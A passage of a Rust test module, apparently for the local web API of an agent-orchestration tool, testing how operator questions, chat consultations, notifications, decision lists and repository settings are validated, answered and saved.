13543        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
13544    }
13545
13546    #[tokio::test]
13547    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
13548        let fx = Fixture::start().await;
13549        let id = ask(&fx, "No seat", &[]);
13550        let store = fx.questions();
13551        let before = std::fs::read(store.path_of(&id)).unwrap();
13552        let res = fx
13553            .post(
13554                &format!("/api/questions/{id}/say"),
13555                Some(r#"{"body":"hello"}"#),
13556            )
13557            .await;
13558        assert_eq!(res.status, 422, "{}", res.body);
13559        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
13560        let res = fx
13561            .post(
13562                &format!("/api/questions/{id}/answer"),
13563                Some(r#"{"text":"hello"}"#),
13564            )
13565            .await;
13566        assert_eq!(res.status, 200, "{}", res.body);
13567        assert_eq!(
13568            store.get(&id).unwrap().resolution().as_deref(),
13569            Some("hello")
13570        );
13571    }
13572
13573    #[tokio::test]
13574    async fn saying_something_appends_a_turn_without_answering() {
13575        let fx = Fixture::start().await;
13576        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13577        fx.questions().beat(&id, ask::WaiterKind::Asker);
13578        let path = format!("/api/questions/{id}/say");
13579
13580        let res = fx
13581            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
13582            .await;
13583        assert_eq!(res.status, 200, "{}", res.body);
13584        let body = res.json();
13585        assert_eq!(body["status"], "open", "talking back is not a decision");
13586        assert_eq!(body["answer"], Value::Null);
13587        assert_eq!(body["thread"][0]["who"], "operator");
13588        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
13589        assert_eq!(body["waiting_on_agent"], true);
13590        // Still open, still counted, still exactly one question.
13591        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13592    }
13593
13594    #[tokio::test]
13595    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
13596        let fx = Fixture::start().await;
13597        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13598
13599        let list = fx.get("/api/questions").await.json();
13600        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13601
13602        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13603        assert_eq!(res.status, 409, "{}", res.body);
13604        let q = fx.questions().get(&id).unwrap();
13605        assert!(q.status.open());
13606        assert!(q.consult.is_none());
13607    }
13608
13609    #[tokio::test]
13610    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13611        let fx = Fixture::start().await;
13612        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13613        let cfg = Config {
13614            agents: vec![crate::config::AgentSpec {
13615                id: "mock".to_owned(),
13616                kind: crate::config::AgentKind::Command,
13617                model: None,
13618                command: vec!["true".to_owned()],
13619                extra_args: Vec::new(),
13620                env: Default::default(),
13621                prompt_delivery: None,
13622                max_turn_secs: None,
13623            }],
13624            ..Config::default()
13625        };
13626        let talk = crate::talk::begin(
13627            &fx.talks(),
13628            &cfg,
13629            fx.home.path().to_path_buf(),
13630            Some("mock"),
13631        )
13632        .unwrap();
13633        let mut task = Task::new(
13634            "t".to_owned(),
13635            "Do it".to_owned(),
13636            PathBuf::from("/repo/magi"),
13637            Source::Agent {
13638                run: talk.id.clone(),
13639                node: crate::queue::CHAT_NODE.to_owned(),
13640            },
13641        );
13642        task.start("20260902-000000-beef".to_owned());
13643        fx.queue().put(&mut task).unwrap();
13644
13645        let list = fx.get("/api/questions").await.json();
13646        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13647        assert_eq!(
13648            list[0]["choices"],
13649            serde_json::json!(["SQLite", "Redis"]),
13650            "the hand-over is never a choice"
13651        );
13652        fx.questions()
13653            .update(&id, |q| {
13654                q.node = crate::land::APPROVAL_NODE.into();
13655                q.choices = vec!["merge".into(), "hold".into()];
13656                Ok(())
13657            })
13658            .unwrap();
13659        let list = fx.get("/api/questions").await.json();
13660        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13661        assert_eq!(list[0]["can_consult_chat"], true);
13662        fx.questions()
13663            .update(&id, |q| {
13664                q.node = crate::bump::NOTICE_NODE.into();
13665                Ok(())
13666            })
13667            .unwrap();
13668        let list = fx.get("/api/questions").await.json();
13669        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13670        assert_eq!(list[0]["can_consult_chat"], false);
13671    }
13672
13673    #[tokio::test]
13674    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13675        let fx = Fixture::start().await;
13676        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13677        fx.questions()
13678            .update(&id, |q| {
13679                q.node = crate::land::APPROVAL_NODE.into();
13680                q.choices = vec!["merge".into(), "hold".into()];
13681                Ok(())
13682            })
13683            .unwrap();
13684        let cfg = Config {
13685            agents: vec![crate::config::AgentSpec {
13686                id: "mock".to_owned(),
13687                kind: crate::config::AgentKind::Command,
13688                model: None,
13689                command: vec!["true".to_owned()],
13690                extra_args: Vec::new(),
13691                env: Default::default(),
13692                prompt_delivery: None,
13693                max_turn_secs: None,
13694            }],
13695            ..Config::default()
13696        };
13697        // Not a git working tree, so its `magi.toml` is read from disk.
13698        let repo = fx.home.path().join("chat-repo");
13699        std::fs::create_dir_all(&repo).unwrap();
13700        let toml = repo.join("magi.toml");
13701        std::fs::write(&toml, "this is = = not toml").unwrap();
13702        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13703        let mut task = Task::new(
13704            "t".to_owned(),
13705            "Do it".to_owned(),
13706            PathBuf::from("/repo/magi"),
13707            Source::Agent {
13708                run: talk.id.clone(),
13709                node: crate::queue::CHAT_NODE.to_owned(),
13710            },
13711        );
13712        task.start("20260902-000000-beef".to_owned());
13713        fx.queue().put(&mut task).unwrap();
13714
13715        let path = format!("/api/questions/{id}/consult");
13716        let res = fx.post(&path, None).await;
13717        assert!(res.status >= 400, "{}", res.body);
13718        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13719        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13720
13721        std::fs::write(&toml, "").unwrap();
13722        let res = fx.post(&path, None).await;
13723        assert_eq!(res.status, 202, "{}", res.body);
13724        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13725        let q = fx.questions().get(&id).unwrap();
13726        assert!(q.status.open());
13727        assert!(q.answer.is_none());
13728        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13729        assert_eq!(res.json()["can_consult_chat"], true);
13730        let list = fx.get("/api/questions").await.json();
13731        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13732        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13733
13734        let res = fx
13735            .post(
13736                &format!("/api/questions/{id}/answer"),
13737                Some(r#"{"choice":"hold"}"#),
13738            )
13739            .await;
13740        assert_eq!(res.status, 200, "{}", res.body);
13741        assert_eq!(res.json()["answer"]["choice"], "hold");
13742        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13743        assert_eq!(res.json()["can_consult_chat"], false);
13744        assert_eq!(fx.post(&path, None).await.status, 409);
13745
13746        let mut talk = fx.talks().get(&talk.id).unwrap();
13747        // This test closes the history view, not an unconsumed consultation.
13748        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13749        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13750        let list = fx.get("/api/questions").await.json();
13751        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13752        assert_eq!(list[0]["origin_chat_closed"], true);
13753        assert_eq!(list[0]["can_consult_chat"], false);
13754
13755        fx.talks().remove(&talk.id).unwrap();
13756        let list = fx.get("/api/questions").await.json();
13757        assert_eq!(list[0]["origin_chat"], Value::Null);
13758        assert_eq!(list[0]["origin_chat_closed"], false);
13759        assert_eq!(list[0]["can_consult_chat"], false);
13760    }
13761
13762    #[tokio::test]
13763    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13764        let fx = Fixture::start().await;
13765        let store = fx.questions();
13766        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13767        store.beat(&id, ask::WaiterKind::Asker);
13768        assert_eq!(
13769            fx.get("/api/health").await.json()["questions_needs_owner"],
13770            1
13771        );
13772
13773        // The owner asks back instead of deciding: the ask bar, the nav badge
13774        // and the title must stop naming this question, because there is
13775        // nothing to decide until the agent answers - `status` alone cannot
13776        // say that, which is the whole reason `questions_needs_owner` exists
13777        // alongside `questions_open`.
13778        let res = fx
13779            .post(
13780                &format!("/api/questions/{id}/say"),
13781                Some(r#"{"body":"why not Postgres?"}"#),
13782            )
13783            .await;
13784        assert_eq!(res.status, 200, "{}", res.body);
13785        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13786        assert_eq!(
13787            fx.get("/api/health").await.json()["questions_needs_owner"],
13788            0,
13789            "waiting on the agent is not waiting on the owner"
13790        );
13791
13792        // `magi ask --thread` replying is what brings the owner count back -
13793        // the same event that would resume the CLI call blocked in `magi
13794        // ask`.
13795        let mut q = store.get(&id).expect("get");
13796        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13797            .expect("reply");
13798        store.put(&mut q).expect("put");
13799        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13800        assert_eq!(
13801            fx.get("/api/health").await.json()["questions_needs_owner"],
13802            1,
13803            "the agent's reply is what should light the banner back up"
13804        );
13805    }
13806
13807    #[tokio::test]
13808    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13809        let fx = Fixture::start().await;
13810        let store = fx.questions();
13811
13812        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13813        let res = fx
13814            .post(
13815                &format!("/api/questions/{empty_id}/say"),
13816                Some(r#"{"body":"   "}"#),
13817            )
13818            .await;
13819        assert_eq!(res.status, 400, "{}", res.body);
13820
13821        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13822        let mut answered = store.get(&answered_id).expect("get");
13823        answered
13824            .answer(Answer::Choice("SQLite".to_owned()))
13825            .expect("answer");
13826        store.put(&mut answered).expect("put");
13827        let res = fx
13828            .post(
13829                &format!("/api/questions/{answered_id}/say"),
13830                Some(r#"{"body":"still there?"}"#),
13831            )
13832            .await;
13833        assert_eq!(res.status, 409, "{}", res.body);
13834
13835        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13836        let mut abandoned = store.get(&abandoned_id).expect("get");
13837        abandoned.abandon("timed out");
13838        store.put(&mut abandoned).expect("put");
13839        let res = fx
13840            .post(
13841                &format!("/api/questions/{abandoned_id}/say"),
13842                Some(r#"{"body":"still there?"}"#),
13843            )
13844            .await;
13845        assert_eq!(res.status, 409, "{}", res.body);
13846    }
13847
13848    #[tokio::test]
13849    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13850        let fx = Fixture::start().await;
13851        let questions = fx.questions();
13852        let mut q = Question::new(
13853            String::new(),
13854            crate::bump::NOTICE_NODE.into(),
13855            "release-watch".into(),
13856            "Release PR approval".into(),
13857            "Saved head".into(),
13858            vec!["merge".into(), "hold".into()],
13859        );
13860        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13861        q.merge_target = Some(crate::merge_decision::Target {
13862            pr: "https://example.test/mebae/pull/100".into(),
13863            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13864            language: "en".into(),
13865        });
13866        q.answer(Answer::Choice("merge".into())).unwrap();
13867        q.answer_delivered = true;
13868        questions.put(&mut q).unwrap();
13869        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13870        std::fs::create_dir_all(&dir).unwrap();
13871        std::fs::write(
13872            dir.join("state.json"),
13873            serde_json::to_vec(&serde_json::json!({
13874                "schema": 1, "sources": [q.id], "pending": [q.id]
13875            }))
13876            .unwrap(),
13877        )
13878        .unwrap();
13879        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13880        for migrated in [false, true] {
13881            if migrated {
13882                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13883            }
13884            for endpoint in ["/api/questions", "/api/questions/core"] {
13885                let response = fx.get(endpoint).await;
13886                assert_eq!(response.status, 200);
13887                let rows = response.json();
13888                let row = rows
13889                    .as_array()
13890                    .unwrap()
13891                    .iter()
13892                    .find(|r| r["id"] == q.id)
13893                    .unwrap();
13894                assert_eq!(row["status"], "answered");
13895                assert_eq!(row["answer"]["choice"], "merge");
13896                assert_eq!(row["can_answer"], false);
13897                assert_eq!(row["history_only"], true);
13898            }
13899            let answer = fx
13900                .post(
13901                    &format!("/api/questions/{}/answer", q.id),
13902                    Some(r#"{"choice":"merge"}"#),
13903                )
13904                .await;
13905            assert_eq!(answer.status, 409, "{}", answer.body);
13906            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13907        }
13908    }
13909
13910    #[tokio::test]
13911    async fn an_answer_the_question_does_not_offer_is_refused() {
13912        let fx = Fixture::start().await;
13913        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13914        let path = format!("/api/questions/{id}/answer");
13915
13916        for body in [
13917            r#"{"choice":"Postgres"}"#,
13918            r#"{"text":"whatever you think"}"#,
13919            r#"{"choice":"Redis","text":"both"}"#,
13920            r#"{}"#,
13921        ] {
13922            let res = fx.post(&path, Some(body)).await;
13923            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13924            assert!(res.json()["error"].is_string(), "{}", res.body);
13925        }
13926        // Nothing above may have answered it.
13927        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13928    }
13929
13930    #[tokio::test]
13931    async fn a_free_text_question_takes_text_and_not_a_choice() {
13932        let fx = Fixture::start().await;
13933        let id = ask(&fx, "What should the flag be called?", &[]);
13934        fx.questions().beat(&id, ask::WaiterKind::Asker);
13935        let path = format!("/api/questions/{id}/answer");
13936
13937        assert_eq!(
13938            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13939            400
13940        );
13941        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13942        assert_eq!(res.status, 200, "{}", res.body);
13943        assert_eq!(res.json()["answer"]["text"], "--json");
13944    }
13945
13946    #[tokio::test]
13947    async fn an_unknown_question_is_a_json_404() {
13948        let fx = Fixture::start().await;
13949        let res = fx
13950            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13951            .await;
13952        assert_eq!(res.status, 404, "{}", res.body);
13953        assert!(res.json()["error"].is_string());
13954    }
13955
13956    #[tokio::test]
13957    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13958        let fx = Fixture::start().await;
13959        let questions = Questions::at(fx.home.path().join("questions"));
13960        let store = Notices::at(fx.home.path().join("notifications"));
13961        let mut q = ask::Question::new(
13962            "t1".into(),
13963            "conduct".into(),
13964            "conductor".into(),
13965            "Continue?".into(),
13966            String::new(),
13967            Vec::new(),
13968        );
13969        questions.put(&mut q).unwrap();
13970        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13971        n.covered_by = Some(q.id.clone());
13972        let n = store.raise(n).unwrap();
13973        let listed = fx.get("/api/notifications").await.json();
13974        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13975        questions
13976            .update(&q.id, |q| {
13977                q.abandon("run gone");
13978                Ok(())
13979            })
13980            .unwrap();
13981        let listed = fx.get("/api/notifications").await.json();
13982        assert!(listed["items"][0]["answerable_question"].is_null());
13983        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13984        assert!(
13985            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13986                .unwrap()
13987                .contains("answerable_question")
13988        );
13989    }
13990
13991    #[tokio::test]
13992    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13993        let fx = Fixture::start().await;
13994        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13995        let task = crate::queue::Task::new(
13996            "work".into(),
13997            "work".into(),
13998            fx.home.path().into(),
13999            crate::queue::Source::Human,
14000        );
14001        let inquiry = outbox
14002            .file(&task, None, "test".into(), "入力待ち", "詳細")
14003            .unwrap();
14004        let root = fx.home.path().join("notifications/task-inquiries");
14005        std::fs::write(root.join("broken.json"), "{").unwrap();
14006        let mut unsupported = inquiry.clone();
14007        unsupported.id = "unsupported".into();
14008        unsupported.schema = 99;
14009        std::fs::write(
14010            root.join("unsupported.json"),
14011            serde_json::to_vec(&unsupported).unwrap(),
14012        )
14013        .unwrap();
14014        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
14015        for _ in 0..2 {
14016            let response = fx.get("/api/decisions").await;
14017            assert_eq!(response.status, 200, "{}", response.body);
14018            let listed = response.json();
14019            assert_eq!(listed["unreadable"], 2);
14020            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14021            assert_eq!(listed["items"][0]["id"], inquiry.id);
14022            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
14023        }
14024        assert_eq!(
14025            before,
14026            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
14027        );
14028        assert!(outbox.list().is_err());
14029        std::fs::remove_file(root.join("broken.json")).unwrap();
14030        std::fs::remove_file(root.join("unsupported.json")).unwrap();
14031        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
14032    }
14033
14034    #[tokio::test]
14035    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
14036        let fx = Fixture::start().await;
14037        let root = fx.home.path().join("notifications/task-chat-migration-v1");
14038        std::fs::create_dir_all(&root).unwrap();
14039        let journal = serde_json::json!({
14040            "schema": 1, "pending": ["saved-inquiry"],
14041            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
14042        });
14043        let bytes = serde_json::to_vec(&journal).unwrap();
14044        std::fs::write(root.join("state.json"), &bytes).unwrap();
14045        for _ in 0..2 {
14046            let response = fx.get("/api/decisions").await;
14047            assert_eq!(response.status, 200);
14048            let listed = response.json();
14049            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
14050            assert!(listed["items"].as_array().unwrap().is_empty());
14051            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
14052        }
14053        // An unreadable journal must not make the endpoint hide the list.
14054        std::fs::write(root.join("state.json"), b"{").unwrap();
14055        let response = fx.get("/api/decisions").await;
14056        assert_eq!(response.status, 200);
14057        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
14058    }
14059
14060    #[tokio::test]
14061    async fn notifications_list_read_dismiss_and_health_agree() {
14062        let fx = Fixture::start().await;
14063        let store = Notices::at(fx.home.path().join("notifications"));
14064        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14065        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14066
14067        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14068        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14069
14070        store
14071            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14072            .unwrap();
14073        let health = fx.get("/api/health").await.json();
14074        assert_eq!(health["notifications_unread"], 2);
14075        assert_ne!(
14076            health["notifications_rev"], rev0,
14077            "the badge must move live"
14078        );
14079
14080        let listed = fx.get("/api/notifications").await.json();
14081        assert_eq!(listed["unread"], 2);
14082        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14083        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14084
14085        let read = fx
14086            .post(&format!("/api/notifications/{}/read", a.id), None)
14087            .await;
14088        assert_eq!(read.status, 200, "{}", read.body);
14089        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14090
14091        let gone = fx
14092            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14093            .await;
14094        assert_eq!(gone.status, 200, "{}", gone.body);
14095        let listed = fx.get("/api/notifications").await.json();
14096        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14097        assert_eq!(listed["unread"], 0);
14098
14099        store.raise(Notice::info("x", "again")).unwrap();
14100        let all = fx.post("/api/notifications/read-all", None).await;
14101        assert_eq!(all.status, 200, "{}", all.body);
14102        assert_eq!(all.json()["marked"], 1);
14103        assert_eq!(
14104            fx.get("/api/health").await.json()["notifications_unread"],
14105            0
14106        );
14107
14108        let missing = fx.post("/api/notifications/nope/read", None).await;
14109        assert_eq!(missing.status, 404, "{}", missing.body);
14110        assert!(missing.json()["error"].is_string());
14111    }
14112
14113    /// New work reaches the queue through `magi task add`, a standing talk's
14114    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14115    /// so the compose form and that route are gone. The tests that covered
14116    /// that route's validation went with it, and nothing was left asserting
14117    /// it stays gone — so a re-added handler would silently let the phone
14118    /// file briefs no one validated.
14119    #[tokio::test]
14120    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14121        let f = Fixture::start().await;
14122
14123        let res = f
14124            .post(
14125                "/api/queue",
14126                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14127            )
14128            .await;
14129
14130        assert_eq!(
14131            res.status, 405,
14132            "POST /api/queue must not be a route: {}",
14133            res.body
14134        );
14135        assert!(
14136            f.queue().list().is_empty(),
14137            "a task filed by a route that does not exist must not reach the disk"
14138        );
14139        // The path itself is still served — the Queue view reads it — and the
14140        // per-task controls are untouched by the entry being removed.
14141        assert_eq!(f.get("/api/queue").await.status, 200);
14142    }
14143
14144    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14145    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14146        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14147            .expect("checkout dir");
14148    }
14149
14150    /// Two command agents, so a config needs no real CLI.
14151    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14152
14153    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14154        let tmp = TempDir::new().expect("tempdir");
14155        let repo = tmp.path().join("repo");
14156        std::fs::create_dir_all(&repo).expect("repo dir");
14157        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14158        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14159        if let Some(text) = machine_toml {
14160            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14161            std::fs::write(&machine, text).expect("machine toml");
14162        }
14163        (tmp, repo, machine)
14164    }
14165
14166    async fn settings_checkout(path: &FsPath, text: &str) {
14167        std::fs::create_dir_all(path).unwrap();
14168        std::fs::write(path.join("magi.toml"), text).unwrap();
14169        for args in [
14170            vec!["init", "-b", "main"],
14171            vec!["add", "magi.toml"],
14172            vec![
14173                "-c",
14174                "user.name=Test",
14175                "-c",
14176                "user.email=test@example.invalid",
14177                "commit",
14178                "-m",
14179                "fixture",
14180            ],
14181            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14182            vec![
14183                "symbolic-ref",
14184                "refs/remotes/origin/HEAD",
14185                "refs/remotes/origin/main",
14186            ],
14187        ] {
14188            crate::git::git(path, &args).await.unwrap();
14189        }
14190    }
14191
14192    #[tokio::test]
14193    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14194        let (tmp, repo, machine) =
14195            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14196        let root = tmp.path().join("roots");
14197        let selected = root.join("host/owner/selected");
14198        settings_checkout(
14199            &selected,
14200            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14201        )
14202        .await;
14203        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14204        let before = std::fs::read(&machine).unwrap();
14205        let ui = Arc::new(
14206            Ui::new(
14207                Queue::at(tmp.path().join("queue")),
14208                Questions::at(tmp.path().join("questions")),
14209                Talks::at(tmp.path().join("talks")),
14210                tmp.path().join("runs"),
14211                tmp.path().to_path_buf(),
14212                repo.clone(),
14213            )
14214            .with_machine_config(Some(machine.clone())),
14215        );
14216        let query = || {
14217            Query(SettingsQuery {
14218                repo: Some(selected.clone()),
14219            })
14220        };
14221        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14222        assert!(v.error.is_none(), "{:?}", v.error);
14223        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14224        assert_eq!(conductor.source, "repo");
14225        assert_eq!(
14226            conductor.machine_value,
14227            Some(toml::Value::String("a".into()))
14228        );
14229        assert!(!conductor.editable);
14230        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14231        assert_eq!(
14232            judges.count.as_ref().unwrap().machine_value,
14233            Some(toml::Value::Integer(1))
14234        );
14235        assert!(
14236            !v.roles
14237                .iter()
14238                .find(|r| r.key == "reviewers")
14239                .unwrap()
14240                .editable
14241        );
14242        let unknown = || {
14243            Query(SettingsQuery {
14244                repo: Some(tmp.path().to_path_buf()),
14245            })
14246        };
14247        assert_eq!(
14248            settings_get(State(ui.clone()), unknown())
14249                .await
14250                .unwrap_err()
14251                .status,
14252            StatusCode::UNPROCESSABLE_ENTITY
14253        );
14254        let body = || {
14255            Ok(Json(RolesBody {
14256                revision: v.revision.clone(),
14257                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14258                counts: Default::default(),
14259            }))
14260        };
14261        assert_eq!(
14262            settings_put_roles(State(ui.clone()), unknown(), body())
14263                .await
14264                .unwrap_err()
14265                .status,
14266            StatusCode::UNPROCESSABLE_ENTITY
14267        );
14268        assert_eq!(std::fs::read(&machine).unwrap(), before);
14269        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14270            .await
14271            .unwrap();
14272        assert_eq!(
14273            saved.repo,
14274            selected.canonicalize().unwrap().display().to_string()
14275        );
14276        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14277        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14278        // A cache miss refreshes the stable candidate list exactly for validation.
14279        let fresh = root.join("host/owner/fresh");
14280        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14281        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14282            .await
14283            .unwrap();
14284        assert_eq!(fresh_view.repositories.len(), 3);
14285    }
14286
14287    #[tokio::test]
14288    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14289        let (tmp, repo, machine) = settings_dirs(
14290            "[roles]\nreviewers = [\"a\"]\n",
14291            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14292        );
14293        let root = tmp.path().join("roots");
14294        let selected = root.join("host/owner/selected");
14295        settings_checkout(
14296            &selected,
14297            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14298        )
14299        .await;
14300        let broken = root.join("host/owner/broken");
14301        settings_checkout(&broken, "[roles\nbroken").await;
14302        let machine_text = format!(
14303            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14304            toml::Value::String(root.display().to_string())
14305        );
14306        std::fs::write(&machine, &machine_text).unwrap();
14307        let originals: Vec<_> = [&repo, &selected, &broken]
14308            .iter()
14309            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14310            .collect();
14311        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14312        let default = f.get("/api/settings").await.json();
14313        assert_eq!(
14314            default["repo"],
14315            repo.canonicalize().unwrap().display().to_string()
14316        );
14317        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14318        let query = format!("?repo={}", selected.display());
14319        let res = f.get(&format!("/api/settings{query}")).await;
14320        assert_eq!(res.status, 200, "{}", res.body);
14321        let v = res.json();
14322        assert!(v["error"].is_null(), "{v}");
14323        assert_eq!(v["repositories"], default["repositories"]);
14324        let role = |key: &str| {
14325            v["roles"]
14326                .as_array()
14327                .unwrap()
14328                .iter()
14329                .find(|r| r["key"] == key)
14330                .unwrap()
14331        };
14332        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14333        assert_eq!(role("advisors")["source"], "repo");
14334        assert_eq!(role("advisors")["editable"], false);
14335        assert!(role("advisors")["machine_value"].is_null());
14336        assert_eq!(role("judges")["count"]["value"], 2);
14337        assert_eq!(role("judges")["count"]["machine_value"], 1);
14338        assert_eq!(role("judges")["count"]["source"], "repo");
14339        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14340        assert!(
14341            source.contains("origin/main") && !source.contains("magi/config/"),
14342            "{source}"
14343        );
14344        assert_eq!(
14345            role("reviewers")["editable"],
14346            false,
14347            "default context outside roots must protect its declarations"
14348        );
14349        let body =
14350            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14351        let unknown = format!("?repo={}", tmp.path().display());
14352        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14353        assert_eq!(
14354            f.put(&format!("/api/settings/roles{unknown}"), &body)
14355                .await
14356                .status,
14357            422
14358        );
14359        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14360        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14361            .to_string();
14362        assert_eq!(
14363            f.put(&format!("/api/settings/roles{query}"), &refuse)
14364                .await
14365                .status,
14366            422
14367        );
14368        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14369        assert_eq!(saved.status, 200, "{}", saved.body);
14370        assert_eq!(saved.json()["repo"], v["repo"]);
14371        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14372        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14373        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
